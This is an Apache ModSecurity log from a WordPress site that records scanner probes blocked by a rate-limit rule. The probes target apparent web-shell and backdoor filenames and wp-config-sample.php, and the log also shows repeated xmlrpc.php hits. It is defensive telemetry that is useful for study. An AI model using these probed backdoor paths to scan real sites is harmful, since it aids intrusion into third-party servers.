[Sun Apr 12 05:08:36.959515 2026] [:error] [pid 25328:tid 25367] [client 20.91.190.16:5999] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/about.php"] [unique_id "adq4VMxUaQZxT-e0YsDN-wAAAEM"]
[Sun Apr 12 05:08:37.498822 2026] [:error] [pid 25328:tid 25394] [client 20.91.190.16:46733] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "adq4VcxUaQZxT-e0YsDN_AAAAFI"]
[Sun Apr 12 05:08:38.042810 2026] [:error] [pid 25328:tid 25403] [client 20.91.190.16:15695] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "adq4VsxUaQZxT-e0YsDOAAAAAFY"]
[Sun Apr 12 05:08:38.562859 2026] [:error] [pid 25328:tid 25373] [client 20.91.190.16:64475] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "adq4VsxUaQZxT-e0YsDOBAAAAEg"]
[Sun Apr 12 05:08:39.106894 2026] [:error] [pid 26599:tid 26625] [client 20.91.190.16:34892] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/d.php"] [unique_id "adq4V3G89LXoQbk_rwAwmAAAAVc"]
[Sun Apr 12 05:08:39.637696 2026] [:error] [pid 60280:tid 60292] [client 20.91.190.16:56880] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "adq4V3BlLnDOYuIykkjR-gAAAco"]
[Sun Apr 12 05:08:40.191477 2026] [:error] [pid 60280:tid 60296] [client 20.91.190.16:34920] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "adq4WHBlLnDOYuIykkjR_QAAAc4"]
[Sun Apr 12 05:08:40.728767 2026] [:error] [pid 26599:tid 26620] [client 20.91.190.16:15740] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "adq4WHG89LXoQbk_rwAwngAAAVI"]
[Sun Apr 12 05:08:41.262504 2026] [:error] [pid 25328:tid 25396] [client 20.91.190.16:62142] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aa.php"] [unique_id "adq4WcxUaQZxT-e0YsDODgAAAFM"]
[Sun Apr 12 05:08:41.783549 2026] [:error] [pid 26599:tid 26609] [client 20.91.190.16:5916] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admins.php"] [unique_id "adq4WXG89LXoQbk_rwAwnwAAAUc"]
[Sun Apr 12 05:08:42.321724 2026] [:error] [pid 25328:tid 25373] [client 20.91.190.16:32537] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admins.php"] [unique_id "adq4WsxUaQZxT-e0YsDOEQAAAEg"]
[Sun Apr 12 05:08:42.850496 2026] [:error] [pid 25328:tid 25364] [client 20.91.190.16:50175] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admins.php"] [unique_id "adq4WsxUaQZxT-e0YsDOEwAAAEA"]
[Sun Apr 12 05:08:43.368657 2026] [:error] [pid 26599:tid 26603] [client 20.91.190.16:56891] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admins.php"] [unique_id "adq4W3G89LXoQbk_rwAwoAAAAUE"]
[Sun Apr 12 05:08:43.885436 2026] [:error] [pid 25328:tid 25370] [client 20.91.190.16:28721] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-config-sample.php"] [unique_id "adq4W8xUaQZxT-e0YsDOHQAAAEY"]
[Sun Apr 12 05:08:44.407008 2026] [:error] [pid 25328:tid 25365] [client 20.91.190.16:64455] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-config-sample.php"] [unique_id "adq4XMxUaQZxT-e0YsDOIQAAAEE"]
[Sun Apr 12 05:08:44.927582 2026] [:error] [pid 25328:tid 25383] [client 20.91.190.16:5222] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-config-sample.php"] [unique_id "adq4XMxUaQZxT-e0YsDOJQAAAE0"]
[Sun Apr 12 05:08:45.492151 2026] [:error] [pid 60280:tid 60290] [client 20.91.190.16:64465] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-config-sample.php"] [unique_id "adq4XXBlLnDOYuIykkjSBwAAAcg"]
[Sun Apr 12 05:08:46.018622 2026] [:error] [pid 25328:tid 25373] [client 20.91.190.16:15743] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "adq4XsxUaQZxT-e0YsDOLgAAAEg"]
[Sun Apr 12 05:08:46.556573 2026] [:error] [pid 60280:tid 60301] [client 20.91.190.16:50115] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "adq4XnBlLnDOYuIykkjSIQAAAdM"]
[Sun Apr 12 05:08:47.117144 2026] [:error] [pid 60280:tid 60294] [client 20.91.190.16:32637] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "adq4X3BlLnDOYuIykkjSIgAAAcw"]
[Sun Apr 12 05:08:47.643358 2026] [:error] [pid 25327:tid 25341] [client 20.91.190.16:32634] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file6.php"] [unique_id "adq4Xy6h2tZEVJo9JFI8fwAAAAU"]
[Sun Apr 12 05:08:48.161328 2026] [:error] [pid 60280:tid 60283] [client 20.91.190.16:28678] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "adq4YHBlLnDOYuIykkjSMwAAAcE"]
[Sun Apr 12 05:08:48.682547 2026] [:error] [pid 25329:tid 25409] [client 20.91.190.16:64491] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "adq4YGdcIYsS8Iyaj10pBwAAAJM"]
[Sun Apr 12 05:08:49.219367 2026] [:error] [pid 26599:tid 26613] [client 20.91.190.16:5227] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "adq4YXG89LXoQbk_rwAw2AAAAUs"]
[Sun Apr 12 05:08:49.770301 2026] [:error] [pid 26600:tid 26629] [client 20.91.190.16:32601] [client 20.91.190.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "adq4Ye1YwAZiXhQKLYpuHQAAAYA"]
[Sun Apr 12 05:12:09.319178 2026] [:error] [pid 25328:tid 25365] [client 207.154.197.201:43770] [client 207.154.197.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 207.154.197.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq5KcxUaQZxT-e0YsDQgwAAAEE"]
[Sun Apr 12 05:19:45.084162 2026] [:error] [pid 26600:tid 26630] [client 47.244.90.157:43356] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq68e1YwAZiXhQKLYpxaQAAAYE"]
[Sun Apr 12 05:20:34.445674 2026] [:error] [pid 25328:tid 25405] [client 197.54.253.149:23321] [client 197.54.253.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.54.253.149, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq7IsxUaQZxT-e0YsDVZgAAAFc"]
[Sun Apr 12 05:20:44.196590 2026] [:error] [pid 26599:tid 26618] [client 197.54.253.149:18699] [client 197.54.253.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.54.253.149, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq7LHG89LXoQbk_rwA1rAAAAVA"]
[Sun Apr 12 05:20:54.710031 2026] [:error] [pid 25328:tid 25396] [client 197.54.253.149:24248] [client 197.54.253.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 197.54.253.149, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq7NsxUaQZxT-e0YsDVswAAAFM"]
[Sun Apr 12 05:23:05.780201 2026] [:error] [pid 25328:tid 25391] [client 167.172.153.2:43986] [client 167.172.153.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.153.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq7ucxUaQZxT-e0YsDW1wAAAFE"]
[Sun Apr 12 05:26:02.729674 2026] [:error] [pid 60280:tid 60303] [client 51.83.154.40:46740] [client 51.83.154.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.83.154.40, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq8anBlLnDOYuIykkjZYwAAAdU"]
[Sun Apr 12 05:28:55.579952 2026] [:error] [pid 25437:tid 25454] [client 157.245.6.105:43456] [client 157.245.6.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.6.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq9F3f97wYZje1ep_NPZQAAAM8"]
[Sun Apr 12 05:29:26.681761 2026] [:error] [pid 60280:tid 60282] [client 41.203.18.36:56352] [client 41.203.18.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 41.203.18.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq9NnBlLnDOYuIykkjbtwAAAcA"]
[Sun Apr 12 05:35:30.835271 2026] [:error] [pid 25437:tid 25454] [client 198.58.96.57:42290] [client 198.58.96.57] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 198.58.96.57, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq-onf97wYZje1ep_NRLgAAAM8"]
[Sun Apr 12 05:37:46.648884 2026] [:error] [pid 25328:tid 25385] [client 157.230.249.241:51974] [client 157.230.249.241] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.230.249.241, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adq_KsxUaQZxT-e0YsDdNQAAAE4"]
[Sun Apr 12 05:41:46.276592 2026] [:error] [pid 26600:tid 26632] [client 100.52.25.12:33274] [client 100.52.25.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 100.52.25.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrAGu1YwAZiXhQKLYp5jgAAAYM"]
[Sun Apr 12 05:47:49.236829 2026] [:error] [pid 25437:tid 25455] [client 217.217.253.123:47120] [client 217.217.253.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.217.253.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrBhXf97wYZje1ep_NT9AAAANA"]
[Sun Apr 12 05:48:08.452497 2026] [:error] [pid 60280:tid 60304] [client 83.197.127.68:44064] [client 83.197.127.68] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.197.127.68, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrBmHBlLnDOYuIykkjkdQAAAdY"]
[Sun Apr 12 05:48:13.197165 2026] [:error] [pid 26567:tid 26578] [client 52.226.240.29:5824] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrBnXhRpg6ptWFyFx0AdAAAAQk"]
[Sun Apr 12 05:53:37.237241 2026] [:error] [pid 26600:tid 26650] [client 46.105.230.99:60964] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrC4e1YwAZiXhQKLYp8uQAAAZU"]
[Sun Apr 12 05:54:05.448107 2026] [:error] [pid 25328:tid 25387] [client 146.59.232.195:57204] [client 146.59.232.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.232.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adrC_cxUaQZxT-e0YsDm-gAAAE8"]
[Sun Apr 12 05:54:57.084608 2026] [:error] [pid 25437:tid 25442] [client 62.197.152.86:50848] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/bless.php"] [unique_id "adrDMXf97wYZje1ep_NXKAAAAMM"]
[Sun Apr 12 05:54:57.692957 2026] [:error] [pid 60280:tid 60293] [client 62.197.152.86:51056] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/bless.php"] [unique_id "adrDMXBlLnDOYuIykkjs9AAAAcs"]
[Sun Apr 12 05:54:58.320150 2026] [:error] [pid 60280:tid 60295] [client 62.197.152.86:51276] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/bless.php"] [unique_id "adrDMnBlLnDOYuIykkjtAQAAAc0"]
[Sun Apr 12 05:54:58.935359 2026] [:error] [pid 25327:tid 25347] [client 62.197.152.86:51480] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/bless.php"] [unique_id "adrDMi6h2tZEVJo9JFJEngAAAAs"]
[Sun Apr 12 05:54:59.562426 2026] [:error] [pid 25328:tid 25365] [client 62.197.152.86:60666] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/bless.php"] [unique_id "adrDM8xUaQZxT-e0YsDo2gAAAEE"]
[Sun Apr 12 05:55:00.244814 2026] [:error] [pid 25329:tid 25376] [client 62.197.152.86:60862] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/update/"] [unique_id "adrDNGdcIYsS8Iyaj101aAAAAIE"]
[Sun Apr 12 05:55:00.909038 2026] [:error] [pid 25328:tid 25403] [client 62.197.152.86:32836] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/update/"] [unique_id "adrDNMxUaQZxT-e0YsDo9wAAAFY"]
[Sun Apr 12 05:55:01.517876 2026] [:error] [pid 25329:tid 25390] [client 62.197.152.86:33064] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/update/"] [unique_id "adrDNWdcIYsS8Iyaj101aQAAAIg"]
[Sun Apr 12 05:55:02.126465 2026] [:error] [pid 25329:tid 25406] [client 62.197.152.86:33280] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/update/"] [unique_id "adrDNmdcIYsS8Iyaj101dgAAAJE"]
[Sun Apr 12 05:55:02.737123 2026] [:error] [pid 26599:tid 26613] [client 62.197.152.86:33490] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/update/"] [unique_id "adrDNnG89LXoQbk_rwBD0AAAAUs"]
[Sun Apr 12 05:55:05.039603 2026] [:error] [pid 60280:tid 60294] [client 62.197.152.86:34006] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/"] [unique_id "adrDOXBlLnDOYuIykkjtUgAAAcw"]
[Sun Apr 12 05:55:05.664957 2026] [:error] [pid 26599:tid 26602] [client 62.197.152.86:34078] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/"] [unique_id "adrDOXG89LXoQbk_rwBD5AAAAUA"]
[Sun Apr 12 05:55:06.275705 2026] [:error] [pid 26599:tid 26623] [client 62.197.152.86:34194] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/"] [unique_id "adrDOnG89LXoQbk_rwBD7AAAAVU"]
[Sun Apr 12 05:55:06.884790 2026] [:error] [pid 25329:tid 25406] [client 62.197.152.86:34280] [client 62.197.152.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/update/"] [unique_id "adrDOmdcIYsS8Iyaj101hwAAAJE"]
